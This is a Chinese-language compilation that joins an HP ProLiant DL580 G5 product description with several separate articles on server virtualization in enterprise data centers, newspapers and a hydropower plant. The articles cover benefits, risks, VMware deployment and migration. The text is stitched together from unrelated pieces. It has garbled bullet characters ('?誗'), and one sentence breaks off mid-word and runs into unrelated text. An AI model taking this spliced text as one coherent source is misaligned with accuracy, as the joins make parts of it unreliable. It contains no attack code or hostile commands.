HP ProLiant DL580 G5 服务器基于最新的Intel Xeon六核处理器7400系列,是Intel发布7400系列高端服务器处理器后首批推出的服务器产品,具有极高的性能和高可用性。采用了全新设计的HP ProLiant DL580 G5,能够提供非常卓越的灵活性和服务特性,机箱高度仅为 4U,适用于数据密集型、关键业务的企业级应用,例如虚拟环境下的数据库、商业智能、ERP和大规模邮件和消息平台等应用。

为关键业务数据中心精心设计

HP ProLiant DL580 G5的设计特色包括:

?誗高性能:六核处理器使得内核数量加倍,外形小巧的串口SCSI(SAS),高性能I/O,以及256 GB的最大内存容量(采用8GB DIMM)

?誗虚拟化:最多32个DIMM插槽;2个硬盘仓,可容纳16块硬盘;11个扩展槽(8个标配,3个可选)

?誗灵活性:机架式或塔式;半高磁带架;可对处理器、内存、硬盘、控制器等进行升级。新的四插槽、六核英特尔至强处理器系统可以提供最多24核,这使得HP可以为关键业务应用提供更高标准的可扩展能力、虚拟化性能。

为了满足未来的虚拟化和节能需求,HP ProLiant DL580 G5有了以下管理软件工具:

?誗HP ProLiant Essentials Virtual Machine Management Pack(VMM)为物理的服务器资源及虚拟机提供了中央管理和控制,这样就减少了对单独的VMM控制台的需求

?誗HP Insight Power Manager可以使得客户设定一个特定的能耗瓦数上限,这样就可以在增加机架内服务器数量的同时减少总体成本。

虚拟化性能在机架式服务器上的完美体现

HP ProLiant DL580G5具有最高达256GB的内存,配合Intel 7400系列处理器内嵌的Intel VT技术、大容量的cache和高速前端总线,能够使虚拟化环境中的巨量线程顺畅运行;此外,其提供的多达11个I/O通道,使得该服务器具备极大的扩展能力,能够为虚拟化平台提供更多的硬件资源;再者,DL580G5能够提供高达2.33T的内部存储容量,对于虚拟平台所需运行的海量数据和大容量程序都极为适用。

与此同时,HP也发布了新的ID VSE(Insight Dynamic VSE)虚拟管理环境软件,将虚拟服务器具有的优势扩充到物理服务器环境,在数据中心使用逻辑服务器的独特概念管理物理服务器和虚拟服务器,并具备实时资源规划功能,帮助用户在数据中心快速实现服务器整合,动态规划、优化和自动化,从而提高数据中心服务质量,降低IT运营成本,加快实施IT变更,并最终提高企业业务灵活性。

保持业界领先地位

HP ProLiant DL580 G5继续保持ProLiant性能领先的优势,相当于两台前代的DL580,并以诸多新特性使其保持业界领先地位。

?誗性能方面:采用英特尔至强64位六核处理器,2x4MB的高速缓存;1066MHz双独立前端总线;667MHz DDR-2内存,支持高达256GB内存;集成Smart Array P400 阵列控制器,有256MB缓存和512MB带有电池保护功能的高速缓存多种配置(BBWC);内置支持多达16个SAS或SATA硬盘。

?誗管理性方面:全新的服务器自动修复功能ASR,ROM设置工具(RBSU),惠普统一管理平台(SIM),系统健康状态指示灯以及设备识别灯UID;全新的机箱设计,可直接从服务器前方拆卸处理器、内存、硬盘,以及从后方拆卸电源模块;集成ILO2远程管理系统。

?誗全新机箱设计:前置的 USB 2.0 端口,前置显示器端口;集成双端口的千兆多功能以太网卡;无需工具即可安装的通用机柜导轨;非常灵活的电缆管理导向臂实现电缆安装管理,以及快速安装锁紧释放把手,用于快安装和拆卸机柜服务器。

服务器应用现状与服务器虚拟化分析 第7篇

企业数据服务和应用需求的快速增长导致了企业信息化发展迅速,服务器等基础设备的激增占据了企业中心机房的大片领土。运行维护的高成本、单服务器模式利用率不高、服务器的更新换代使得企业中心机房的正常运转受到了严峻的考验。随着信息技术的发展和进步,如何在现有的基础上实现企业资源的最优化配置,在满足实际需求和控制成本两个问题上找到最优解决办法,一直是各企业信息技术部门研究的重要课题,虚拟化技术的出现,以其独有的特点解决了这一问题,有效的提高了企业数据中心的管理和应用水平。

2 企业数据中心服务器应用现状

首先,系统环境复杂导致维护困难。为了满足工作的需要,大部分企业都建立了一定规模的网络应用,OA系统、档案系统、财务系统、计算机辅助制造系统等软硬件平台,不同的系统对数据库的类型和版本有不同的要求,这就需要单服务器单应用。不同时期的基础设施有着不同的系统状况,当其中某个系统出现问题的时候很难进行自动化管理,而是需要手工管理,致使维护量逐渐大,系统管理员不可能同时进行服务器操作系统的安装、更换硬件、病毒查杀等这些维护操作,所以系统的恢复需要很长时间。

其次,服务器利用效率不高。由于网络资源分配不合理,导致系统应用资源非常紧张,况且有些服务器系统平时就很少被用到,却一直占用着中心机房的容量,在造成资源闲置浪费的同时也增加了其他能源消耗。例如中小企业对ERP系统的应用,ERP系统初始引进企业的时候只是作为一种纯技术系统,但它本身也是一套成熟的管理思想和管理工具,它的有效使用可以节省大量的人力物力,提高工作效率。但在一些中小企业,几十万引进的设备只能运作个别模块,对于它的其他作用并没有针对性的举措,造成了ERP的极大浪费。

最后,故障发生率偏高。伴随着网络规模的扩大,信息化的应用需要大量的服务器进行支撑,单个服务系统在数据中心中对应着一台物理服务器,独立服务器部署的应用容易发生故障的地方有很多,只要服务器出现了问题,整个系统就会崩溃,导致正常的生产以及办公无法进行。

3 虚拟化技术的应用

虚拟化技术最早出现于上世纪六七十年代的IBM大型机系统中,是在虚拟层面而不是真实层面的运行,虚拟化技术可以扩大硬件容量,简化软件的重新配置过程。对于服务器虚拟化技术,百度百科上是这样定义的:服务器虚拟化技术是指通过运用虚拟化的技术充分发挥服务器的硬件性能,能够在确保企业投入成本的同时,提高运营效率,节约经济成本和空间浪费,对于发展迅速、成长规模大的用户来说,可以通过服务器虚拟化技术带来更多的经济效益。简单的来说,虚拟化技术是一项提高资源利用率的技术,通过远程接入将中心机房的应用虚拟化操作显示在桌面上,通过网络灵活操作。

首先,服务器虚拟化技术实行集中化管理。虚拟化改变了企业中心机房系统繁杂的情况,将所有的系统整合起来,将内部系统与硬件系统分离开来,一台计算机可以操作多个系统,在不触及后台硬件系统的同时就能调用自己所需要的系统和软件。多台服务器的集中管理将系统管理员从简单机械的操作中脱离出来,降低了管理员工作量的同时实现了人员的优化配置。

其次,提高服务器利用率,降低成本。当前服务器运用的比较广泛的虚拟化技术是硬件层次的完全虚拟化技术和操作系统层次的虚拟化技术。虚拟化技术实现了企业资源的集中部署,加强了企业对软件资源的规划与管理。服务器的快速更新让中心机房中存储了许多早期的性能较低的设备,它们并不适合当前高需求的企业应用,低能高耗的它们成为企业的鸡肋存在,服务器的虚拟化应用将它们聚合在一起,形成更为强大的服务器,最大限度地利用了所有资源。

最后是虚拟化技术的安全性。服务器的合并减少了需要管理维护的服务器数量,降低了发生故障的机会,而且虚拟化技术有备份、恢复、迁移的功能,在系统故障发生时,虚拟化技术可以将灾难降到最低,同时实现资料迁移,每个虚拟服务器均可独立进行重启。

4 服务器虚拟化面临的问题

服务器虚拟化技术带来的便利让很多企业对其趋之若鹜,但服务器虚拟化也存在着不少的问题。

首先,服务器虚拟化的成本问题,当下虚拟化服务器软件价格较高,买进系统后,为了使虚拟化系统能够稳定运行,通常会建立大量的虚拟机,物理服务器总量的下降,带来了虚拟机的增加,操作系统的许可费用上升。

其次,服务器虚拟化的性能问题,虚拟化的其中一个目的就是提高资源的使用效率,原先,单台服务器的使用效率不超过20%,随着虚拟化技术的应用,通过网络接入,将各种应用系统虚拟化显示在计算机上,大大地提高了信息资源的利用率。但是,当计算机使用高峰到来时,由于管理系统的容量不足极容易造成系统混乱甚至瘫痪。

最后,服务器虚拟化的安全问题。服务器虚拟化的安全问题是相对的,它在备份、恢复、迁移的功能外存在着一定的风险。据资料显示,60%虚拟机的安全性低于物理服务器。服务器虚拟化属于一个软件系统,不可避免地存在着些许漏洞,一旦主机遭到破坏,它所连接的客户端也会陷入瘫痪,同样的,如果有人从主要客户端入侵,连接服务器运行的虚拟机上的资料很容易就会被入侵者窃取,这就对服务器的配置提出了更高的要求。当前虚拟安全市场针对安全问题推出了杀毒和防火墙软件,但虚拟平台上风险依然存在。

5 服务器虚拟化技术发展的意义

长期以来的中心机房服务器数量随着企业规模的增大,应用内容的增多而不断扩大,各种服务器应用系统的使用会增加用电量,能源的消耗造成企业成本的增加,虚拟化技术的出现在确保服务器安全性的基础上,让服务器的CPU、内存、磁盘等硬件的性能余量可以集中起来,提高服务器的安全性和稳定性。

服务器虚拟化技术将中心机房的资源集中起来,可以让管理者统一进行调配,实现对服务器的集中管理和控制,有效降低了服务器的维护量,提高了中心机房的管理水平。

服务器虚拟化技术适应了当前社会的发展要求,满足了企业的信息需要,在整合应用降低成本方面带来了巨大便利。

6 结束语

随着企业的高速发展,需要的企业信息化应用系统会越来越多,企业的数据中心系统会越来越大,其管理也会更加复杂,服务器虚拟化技术能否实现数据资源的合理共享,虚拟化技术的弊端能否得到优化?从长远的发展来看,公司对服务器数据中心的管理应该有更高的要求,虚拟化技术的发展应该向更安全、更稳定、更节能的方向发展。

摘要:随着信息技术的高速发展,越来越多的企业有了一定规模的网络应用,企业信息化建设水平的不断提高,数据中心服务器对日常工作的影响越来越大,企业中不断增加的服务器设备在方便工作的同时也带来了管理复杂化、成本扩大化的问题。而服务器虚拟化技术简化了服务器管理系统,将多种应用整合,提高了服务器使用效率。本文就企业数据中心服务器应用现状、虚拟化技术的应用、服务器虚拟化面临的问题以及服务器虚拟化技术发展的意义展开。

关键词:数据中心,服务器,虚拟化

参考文献

[1]王文.对于企业数据中心构建的思考[J].常州工学院学报,2009,22(03):75-77.

[2]钱磊,李宏亮,谢向辉等.虚拟化技术在高性能计算机系统中的应用研究[J].计算机工程与科学,2009,31(A1):307-311.

[3]张军锋.企业服务器虚拟化应用平台搭建及应用研究[J].中国科技信息,2009,(23):123-125&129.

[4]黄世中.GF(2m)域SM2算法的实现与优化[J].信息网络安全,2012,(01):36-39.

服务器虚拟化技术应用与研究 第8篇

随着信息系统日趋复杂,系统架构的安全性、稳定性方面故障造成的损失会比以往更加严重,因此对企业的信息系统提出了更高的要求。虚拟化技术(Virtualization Technology)是实现这一要求的重要方法,本文着重讨论了虚拟化的优势和存在的问题、应用和发展情况。

1 虚拟化技术的概念和类型

虚拟化是一个抽象层,它将物理硬件与操作系统分开,从而提供更高的IT资源利用率和灵活性。虚拟化是指计算元件在虚拟的基础上而不是真实的基础上运行。比如,虚拟出一套完整的计算机硬件,可以安装操作系统,以现有操作系统作为原型,虚拟出若干个相同的操作系统环境,可以安装应用软件。让一台服务器变成几台甚至上百台相互隔离的虚拟服务器,不再受限于物理上的界限,从而提高资源的利用率,简化系统管理,实现服务器整合,让IT对业务的变化更具适应力———这就是服务器的虚拟化。与传统技术相比,它具有更少的运营费用和更低的复杂性。存储虚拟化则是将企业中的存储资源整合在一起,用户通过统一的逻辑管理设备进行访问。

虚拟化有多种不同的分类方式,总结起来如下:

以实现层次来分:虚拟化硬件,虚拟化操作系统,虚拟化应用程序。

以被应用的领域来划分:虚拟化服务器、虚拟化存储、虚拟化网络、桌面虚拟化。

2 服务器虚拟化的相关技术

服务器虚拟化是在CPU虚拟化、内存虚拟化、设备与I/O虚拟化的基础上实现的。

2.1 CPU虚拟化

CPU虚拟化技术把物理CPU抽象成多个虚拟的CPU,虚拟CPU的指令仍旧在物理CPU上运行。CPU的虚拟化技术就是单CPU模拟多CPU并行,操作系统运行于虚拟CPU之上,相当于在同一个平台上同时运行多个操作系统,并且应用程序都可以在相互独立的空间内运行而互不影响,从而显著提高计算机的工作效率。

2.2 内存虚拟化

内存虚拟化与CPU虚拟化类似,由虚拟化工具统一管理真实的物理内存,按照配置需求分配给单台虚拟机,使得每个虚拟机有自已的独立内存空间,但同时保持各个虚拟机对物理内存访问的独立性,包装成多个虚拟的物理内存提供给若干虚拟机使用。每个虚拟机均会根据其配置大小消耗内存,同时会消耗部分额外开销内存以用于虚拟化。

2.3 设备与I/O虚拟化

设备与I/O虚拟化技术是将物理机的真实设备进行统一管理,划分成多个虚拟设备分配给单独的虚拟机使用,响应每个虚拟机的设备访问请求和I/O请求。也就是说虚拟机可以通过虚拟I/O来共享物理的I/O设备,而不必安装专业的I/O设备,从而使得虚拟机不过度依赖底层物理设备,在统一的虚拟化平台上实现平行迁移。设备与I/O的虚拟化都是通过软件技术来实现的。

3 虚拟化技术的优势

3.1 降低运营成本

服务器虚拟化降低了企业IT化运营成本,令系统管理员摆脱了繁重的物理服务器,将更多的时间和精力投入到系统的应用程序中。通过实现自动化、获得更好的信息和实现中央管理来简化公共管理任务。物理设备的总体投资呈大幅下降趋势,在成本管控上体现出巨大的成本节约空间。

3.2 提高应用兼容性

服务器虚拟化将硬件平台和和应用进行分离,相当于对平台进行了封装,这种封装性和隔离性使大量应用独立运行于各种环境中,管理人员不需频繁根据底层环境调整应用,只需构建一个应用版本并将其发布到虚拟化后的不同类型平台上即可。

3.3 提升资源利用率

云计算的普及是伴随着资源的低效应用而生的,集中化资源管理被赋予新的生命,这是云计算推广的重要时机。通过服务器虚拟化的整合,提高了CPU、内存、存储、网络等设备的利用率。例如某些系统负载的实际需求并不高,但却长期占用固定的物理资源,虚拟化技术有效减少了资源浪费。

3.4 增强信息系统的稳定性

虚拟化技术实现了物理机和虚拟机的冗余,物理机通过集群方式实现双台或多台冗余,在一台机器出现故障时可快速切换至备份机,虚拟机的应用也可以在软件故障的情况下迁移至其他的虚拟机,真正实现了双重保险。

4 虚拟化过程中存在问题和解决方法

4.1 超额配置的困境

长期以来,IT管理人员将虚拟主机和物理主机的比例控制在一个非常低的水平。由于担心系统出现故障,他们将每台主机的利用率控制在50%,或者在每台物理服务器上部署固定数量的虚拟主机,并对此乐此不疲。部署虚拟化的时候,需要重点考虑整个环境的情况,而不是仅仅关注服务器或者应用程序的需要。在传统的应用程序性能规格中,一般会配置到消耗资源的2倍,主要用来满足高峰时段运行时有足够余量。

在虚拟化世界中,应用程序并不需要占据这么多资源。因为资源分配是根据它如何有助于满足整个虚拟化环境需要来看待的,通过将所有的虚拟资源“移植”到资源池中,然后根据具体需要加以应用。经过合理的规划,应将整个环境的持续利用率提高到60%以上,并且尽量接近100%的目标。

4.2 虚拟机溢出隐患导致安全问题蔓延

虚拟化只需要较少的硬件资源就能运行多重应用程序和操作系统,能允许用户根据自身需求快速调配新的资源。但是这些灵活性也导致网络和安全管理者们不禁担心存在于虚拟环境中的安全隐患会在整个网络中蔓延开去。因为如果服务器管理程序发生问题,那么很快就会通过虚拟机在整个网络中蔓延出来。

虚拟机溢出导致安全问题蔓延,管理程序设计过程中的安全隐患会传染同台物理主机上的虚拟机,这种现象被称作“虚拟机溢出”。

现在技术工程师通常采用隔离虚拟机的方式来保障虚拟环境的安全性。保障虚拟环境安全的传统方式是在数据库和应用程序层间设置防火墙。他们从网络上脱机保存虚拟化环境有助于缓解安全隐忧。这对于虚拟化环境来说是比较好的方法。

5 企业中虚拟化技术的应用和发展趋势

在过去的几年里,虚拟化技术发展的速度很快,多家厂商相继推出了不同的虚拟化产品及新的应用形式。虚拟化技术在信息系统依赖性较高的企业中的大量应用能给其运营环境提供较好的支撑,而且对不同用户的实际要求提供了多方面的支持,从而增强了其生产力,同时提升资产利用率,取得了很好的应用效果。

对一个机构、企业而言,是否要推行虚拟化技术,是根据自身信息系统的规模、数量、以及系统承载业务量的多少来决定的。就服务器虚拟化技术而言,将一台服务器虚拟化成多台的是我们习惯的服务器虚拟化技术,但虚拟化还有另外一个方向———网格技术,这个技术是将所有的分散的资源组织在一起,共同完成某种特定任务。对新的关键应用,虚拟化也可以尽快给予解决。随着计算机技术的快速发展,虚拟化技术也会不断的得到优化改进,应用到更多领域。

6 结论

总之,虚拟化技术作为信息领域备受瞩目的新技术,在大型复杂的信息系统中的应用已成为一种趋势,它势必引起一场信息技术的变革,伴随着云计算技术的发展,必将改变企业和个人使用信息资源的方式。

摘要:随着信息化的不断发展,对IT技术依赖性较强的企业的服务器数量变得越来越多。目前各企业在对服务器进行整合改造时,会越来越多的采用服务器虚拟化技术。介绍了虚拟化技术基本概念、核心技术,分析了服务器虚拟化技术的优缺点以及应用情况和发展趋势。

关键词:IT,服务器,虚拟化,应用

参考文献

[1]于淼.服务器虚拟化技术在消防信息中心的应用[J].武警学院学报,2011(04).

[2]白国靖.虚拟化技术在网络服务中的应用研究[J].电子世界,2011(09).

服务器虚拟化技术在报业的应用初探 第9篇

报业历经多年的信息化建设, 大批业务系统相继上线, 服务器数量逐年增多, 机房可用空间渐趋紧张, 空调负荷越来越大, UPS待机时间随着负载的增加也越来越短, 尤其是服务器的老化问题愈发严重, 故障率和维护成本也越来越高。为降低运营成本, 提高资源利用率和集约化管理水平, 虚拟化技术解决方案正逐步进入报社信息化建设的决策视野, 即考虑利用虚拟化技术对机房的服务器和应用系统进行整合, 充分利用服务器的有效资源, 提高各系统的运行速度和可靠性, 同时降低能耗, 提高对机房资源的集中管理能力。

服务器虚拟化技术简介

服务器虚拟化概念

虚拟化技术是一个广义的术语, 它从本质上讲是指从逻辑角度来对资源进行配置, 从而简化管理、优化资源。比如说, 当前只有一台计算机, 通过虚拟技术, 在用户看来, 似乎却是多台, 每台都有其各自的CPU、内存、硬盘等物理资源。虚拟化技术实现了软件跟硬件分离, 用户不需要考虑后台的具体硬件实现, 而只需在虚拟层环境上运行自己的系统和软件。

服务器虚拟化, 简单的讲就是一个物理服务器上运行多个虚拟机 (如图1所示) , 这些虚拟机共享底层硬件, 从应用的角度看就像是一个物理服务器, 有自己的操作系统、CPU、内存、网卡、存储等资源。虚拟化技术将物理服务器、操作系统及其应用程序“打包”为一个档案, 成为虚拟机 (VM) 。

服务器虚拟化技术特性

1.分区。在单一物理服务器上运行多个虚拟机。

2.隔离。在同一服务器的虚拟机之间相互隔离。

3.封装。整个虚拟机都保存在文件中, 而且可以通过移动和复制这些文件的方式来移动和复制该虚拟机。

4.相对于硬件独立。无需修改即可在任何服务器上运行虚拟机。

服务器虚拟化前后的变化如图2所示。

服务器虚拟化的优越性

1.服务器资源整合, 减少资金支出。随着机房独立服务器数量的增多, 系统资源不能共享, 更换与维护成本升高。利用虚拟化技术, 可以将所有服务器进行整合, 可大幅度提高硬件资源的利用率, 减少硬件采购成本, 压缩机房成本。

2.通过动态资源调配, 提升业务应用整体的运行质量。动态资源配置可在一台计算机内部的虚拟机之间或是集群系统的各个业务之间进行动态的资源调配, 进而提升业务应用的整体运行质量。

3.提供相互隔离的、安全的应用执行环境。虚拟系统下的各个子系统相互独立, 即使一个子系统遭受攻击而崩溃也不会对其他系统造成影响, 而且在使用备份机制后, 子系统可被快速的恢复。

4.提供系统调试环境, 进行系统测试。采用虚拟技术后, 系统测试环境搭建简单易行, 提高了工作效率, 降低了测试成本。

5.维护运行在早期操作系统上的业务应用。厂商已经停止了某些早期念, 即如何最大化地利用资源、提高效率和降低成本。

服务器虚拟化的技术方案规划

根据报社目前各应用系统的使用情况, 我们结合服务器虚拟化技术规范, 来探讨制定PC服务器虚拟化的实施原则、部署及维护方案等。

虚拟化应用实施原则

对于连接特殊设备的应用, 不适用虚拟化。连接特殊设备的情况主要有:高性能图形显、特殊的串和并行加密设备、应用使用USB的设备。即使在高配置的服务器上仍然具有很高负载的应用, 可能不适用虚拟化, 需分析当前服务器实际配置情况。

除上述不适合采用虚拟化应用之外的所有应用, 可采用虚拟化;可根据应用迁移的复杂程度决定虚拟化先后顺序:较易实现P2V (物理到虚拟, 即Physical to virtual, 简称P2V) 的应用可先做迁移;较难或不能做P2V迁移的应用可考虑采用重新安装方式后迁。根据管理的需要决定是否做虚拟化:虚拟化转变过程对现有业务的影响程度;转变为虚拟化后对现有管理的影响程度;部门之间协调的难易程度。

实施整体思路是, 先在测试环境实施, 然后是备机系统及内部管理系统, 再到次要的生产系统, 最后是适合部署到虚拟机的重要的生产系统。报社实施PC服务器虚拟化的平台范围应局限在Linux和Windows两个较熟悉的操作系统平台, 这样出现问题较容易处理。

从应用角度看, 宜先把B/S模式的Web服务器和应用服务器迁移到虚拟机, 然后再把非B/S应用迁移到虚拟机。

虚拟化管理软件的选择

我们选择虚拟化管理软件时, 应该以管理工具和自动化工具为中心, 将之作为一套整体方案的一部分。评价各类虚拟化管理软件的益处时, 除了成本上的节约, 我们还应考虑其在促进敏捷度、缩短停机时间、增强灾难恢复等方面的功能。在用户本地实现管理和自动化, 能更高效地为用户提供可靠、可预见的服务。

本文即采用较熟悉的V M w a r e vSphere 4虚拟化管理软件来论证和实施服务器虚拟化方案。

SAN集中存储实现虚拟服务器的文件共享

采用SAN集中存储方式可以将每个虚拟机的文件系统创建在共享的SAN集中存储阵列上。VMwareVMFS虚拟机文件系统是一种高性能的群集文件系统, 允许多个ESX server安装同时访问同一虚拟机存储。由于VMware的虚拟架构系统中的虚拟机实际上是被封装成了一个档案文件和若干相关环境配置文件, 通过将这些文件放在SAN存储阵列上的VMFS文件系统中, 可以让不同服务器上的虚拟机都可以访问到该文件, 从而消除了单点故障。

虚拟架构环境的集中管理和自动化

为了对服务器虚拟架构进行有效的管理和监控, 需要配置一台独立的安装Windows 2003的虚拟机作为管理数据中心的Virtual Center Server, 它可为IT环境提供集中化管理、操作自动化、资源优化和高可用性。基于虚拟化的分布式服务器为报社IT平台提供了前所未有的响应能力、可维护性、效率和可靠性级别。

虚拟架构环境的整合备份

虚拟架构的整合备份软件VCB插件可以为虚拟服务器提供易于使用、集中化的备份工具, 它使虚拟机内容能够从一个集中的Virtual Center Server中进行备份, 可与备份系统完美协调工作, 对有需要的虚拟机环境进行集中统一的备份。

虚拟化技术的实施过程

对机房内在用的物理服务器进行统计调查

服务器管理员要核对每台服务器的硬件资源配置, 再根据统计调查结果对服务器进行分类, 将通信比较密切的服务器部署到一台宿主机中, 除了提高传输速度和内存共享之外, 还减少了对公共网络资源的占用。

安装宿主机

如果报社大部分服务器购置时间较长、配置不高, 选择新购高性能服务器和使用原有服务器相结合的方案, 配置合适台数的服务器作为宿主机, 分别部署在不同的核心交换机环境中, 每台宿主机上根据实际情况安装合适台数的虚拟服务器。VMware Sphere 4虚拟化软件可以实现虚拟机的多快照管理和快速克隆, 对于批量建立虚拟机非常好用。

虚拟机转换

通过VMware Converter工具把现有环境的物理机系统迁移到PC服务器虚拟化环境, 以降低迁移工作量和复杂度。迁移成功后, 原物理机环境应保留一段时间, 等虚拟机环境确认正常运行后, 再把原物理机用于其他用途。

虚拟机的部署及模板的制作

虚拟机的部署非常方便, 按照规划将生成好的虚拟机文件迁移到对应的宿主机上, 对CPU个数、内存容量进行适当的设置, 就可以通过虚拟软件的管理工具对虚拟机进行管理。对于不同平台的不同操作系统版本, 宜通过定制虚拟机模板提高操作系统部署的效率, 减少系统维护人员的工作量。

日常维护和应急预案

日常维护中, 利用角色和权限实现系统资源的统一调拨和工作分工;每月整理一份PC服务器虚拟化环境的整体运行状态分析报告。对整个PC服务器虚拟化环境制订一套有效的应急预案, 对运行在虚拟机上的应用系统进行版本投产、系统软件补丁升级等变更时, 宜通过虚拟机快照功能对虚拟机的当前运行环境进行快照, 以方便变更失败后迅速恢复应用的原有运行环境。

结语

服务虚拟化加速应用交付 第10篇

应用开发环境复杂

随着云计算、移动、大数据等趋势的到来, 大部分企业的新应用建立在复合、分布式环境之下, 并支持多个服务团队和交付合作伙伴, 这使得应用开发和测试复杂, 并面临着多重挑战。如项目在使用时间和安全性方面的限制、团队之间的协调竞争、系统尚处开发阶段使得测试环境不可用;下游系统和实体模型不能提供功能行为或响应, 使终端用户性能受影响;基于硬件的虚拟化不能支援测试;在基于云或其他共享服务的环境中执行或测试将带来较高的使用费用等。

“据调查显示, 企业在应用开发过程中, 软件开发时间约占整体项目30%, 而70%时间用在了软件测试上。”CA Technologies服务虚拟化高级顾问王志明表示。

虚拟化服务通过多种方式对系统行为、数据交互和性能特性进行捕捉和模仿, 并通过提供本地可用的完整端到端应用开发和测试功能, 来加速软件开发生命周期, 包括从设计和开发、集成、性能测试、交付直到生产的整个过程。据王志明表示, 采用虚拟化服务后, 传统软件12~18个月的交付周期将可以加速25%~50%。

提升服务质量

实际上, 服务虚拟化不仅可以帮助企业在市场竞争时更快地推出创新业务, 并节省软件测试过程中硬件投入、人力成本等资源, 还可以帮助企业提升服务质量。因为在软件开发过程中, 很多情况下相应功能测试缺乏对应环境满足, 开发者常选择不测试或上市再调测等方法, 在一定程度上降低了企业服务质量。

例如, 目前国内各层级电信运营公司根据业务需求需要把地方业务接到集团层面, 例如手机游戏、手机动漫等跨省业务, 并通过每个省市公司内部的CRM系统接到集团进行交互。然而当新业务需要在集团进行联调测试时, 集团环境很多时候并不可用, 对于地方运营公司其缺失测试环境;或者当地方移动公司开发进程走在集团前时, 集团层不能提供相应测试环境。若采用虚拟化服务后, 可以虚拟出集团环境, 这对于地方省市公司而言, 当其应用测试时就不需要再等待集团环境适配, 便可自我完成测试。

使用虚拟化管理服务器系统 第11篇

机房服务器现状

在过去和现在,学校机房服务器的建设和管理是一件比较繁杂的工作。一方面,各院系会根据自己的需要申请、架设服务器,而这些服务器通常仅针对某个教学课程提供单一的服务,造成资源浪费。另一方面,校园核心服务器又要求提供繁多的应用,如WWW服务、邮件服务、网上办公等,这些应用在使用高峰时会使得服务器响应缓慢甚至瘫痪、死机。另外,有些文件服务器提供上传下载功能,也会为学生开放一部分存储空间让学生提交作业等,有些不安全的文件可能会导致服务器中毒或导致后门入侵等。

理想的校园服务器应合理部署,整合各硬件平台的资源,提高服务器的响应速度,为学校提供更好的服务平台。

机房服务器建设目标

1、服务稳定。在任何时刻,服务器都应能够正常响应客户的请求,不至于被大量的访问拖垮甚至崩溃。

2、资源整合。在单服务器模式下,每台服务器都需要购买相应的硬件设备和软件许可,但只提供一个或很少几个服务应用,大大浪费了CPU、内存和存储资源。为节约和保护投资,应将这些单一服务器的资源整合起来,在保证性能的前提下提供更多的服务。

3、实现安全。对于传统的服务器,系统管理员不仅需要关注操作系统和应用程序的安全,还要小心配置各项服务,检测各种漏洞和程序错误,合理分配各项权限,监视可疑的进程和文件,以免成为黑客的战利品。

4、便于管理。对于大型中心机房来说,如果采用传统的单服务器模式,管理员将面对不同架构、不同系统、不同配置、不同应用的各类服务器,还要解决由众多服务器所带来的空间占用、电力供應、散热的问题。此外,管理员还必须考虑如何实现这些服务器的冗余、升级和迁移以及异构设备之间的协同工作等。

虚拟化技术

虚拟化把用户与其所使用的资源剥离和抽象出来,用户所使用的资源包括硬件,如磁盘、网络、CPU等,也包括软件资源如系统和各类服务,用户和资源之间通过标准的接口实现输入输出。

虚拟化实现了对计算机及网络基础设施的简化和优化以及集中管理,虚拟环境的变化对用户是透明的,可以动态的为用户提供所需要的资源。虚拟化技术使得用户与资源之间实现分离,用户所使用的资源不受地理位置或底层环境的限制,用户也可以根据自己的需要定制资源,为用户提供了一个虚拟的、逻辑的应用平台。

硬件的飞速发展使得虚拟化的部署成为可能,我们不仅可以在一台高性能服务器上创建多个虚拟机,实现多个单一服务器的功能,而且可以将多台服务器创建为集群,通过虚拟化服务器集群实现高可用性和负载均衡,在某一服务器出现故障时仍能正常工作。

相比传统的单一服务器方式,采用虚拟化技术具有以下几个方面的优势。

1、减少服务器数量,降低采购成本。

2、便于维护、管理、更新和灾难恢复。

3、提高服务器使用效率,实现高可用性。

机房服务器虚拟化系统及解决方案

机房服务器虚拟化系统需包括硬件资源、虚拟主机、存储系统和管理平台几个组成部分。

硬件资源是通过互连网络连接起来的物理设备,属于虚拟化系统的底层。

虚拟主机是在安装、运行在硬件平台上的虚拟系统,是整个虚拟化系统的核心。虚拟主机管理整个硬件资源,根据不同的应用将硬件平台的CPU、内存、存储等资源动态分配给不同的虚拟服务器,在虚拟服务器中再安装Windows、Linux等操作系统并配置所需服务。

存储系统负责存储虚拟主机镜像文件、快照和各类用户文件,根据存储文件的对象不同可使用本地存储或共享存储。本地存储的结构简单,前期投资少,但性能和扩展性较差;共享存储结构相对复杂但功能明确,前期投资大,但性能优异且扩展性强。

管理平台对虚拟主机和存储系统实现统一管理,可实现资源动态分配、负载均衡,还可以对设备实行监测,进行虚拟主机的迁移,以保证系统的可靠性和可用性。

目前,提供服务器虚拟化解决方案的厂家有很多,如国外的VMware、Microsoft、Citrix、IBM、Oracle和RedHat及国内的联想和神州数码等,也有很多免费的平台和软件供用户选择。

虚拟化的误区

虽然说现在实施虚拟化解决方案已成为解决中心机房诸多问题的一种潮流,但用户也不能盲目跟进,仍需仔细考虑以下几个方面。

1、是否真的有效?

多数虚拟化方案是针对大型企业如电信、银行等,对于中小型企业还需要根据各自的应用进行分析,进行总体规划。

2、是否真的便于管理?

通过整合,虚拟化可以提高服务器系统的可靠性,但同时也增加了系统的复杂性,对系统管理人员的技术能力提出了新的要求。同时,在虚拟化方案实施后,系统管理人员仍需不断对系统进行调优的工作。

3、是否真的节约投资?

虚拟化可以提高硬件的使用效率,进而减少服务器的数量和软件授权,但要求强壮的网络系统和集中化共享存储,这可能使得总的投资不减反增。

(袁黎晖单位:江西省方晖信息技术有限公司 ;张俊单位:江西农业大学南昌商学院)

服务器虚拟化在水电厂的应用 第12篇

近几年电厂信息化建设快速发展,各类应用服务器的数量不断增加。如何提高硬件资源的利用率,保障业务系统的高可用性是信息运维管理面临的问题之一。在此背景下,紧水滩水力发电厂(以下简称紧水滩电厂)运用服务器虚拟化技术,采用3台安装了VMware ESX Server软件的高性能服务器,以高可靠性(High Availabitity,HA)的运行方式,构建了一个服务器虚拟架构,以保证重要应用系统完整可靠运行。

1 VMware Enterprise的技术特点

ESX Server 4作为VMware虚拟架构套件的基础组成部分,可直接安装于物理服务器的裸机上,并可将物理服务器上的处理器、存储和网络资源映像到多个虚拟机中。各个虚拟机所用的系统资源统一由虚拟架构软件调配,可最大限度地提高应用系统的资源利用率,从而大大降低系统投资资金和系统运维成本。

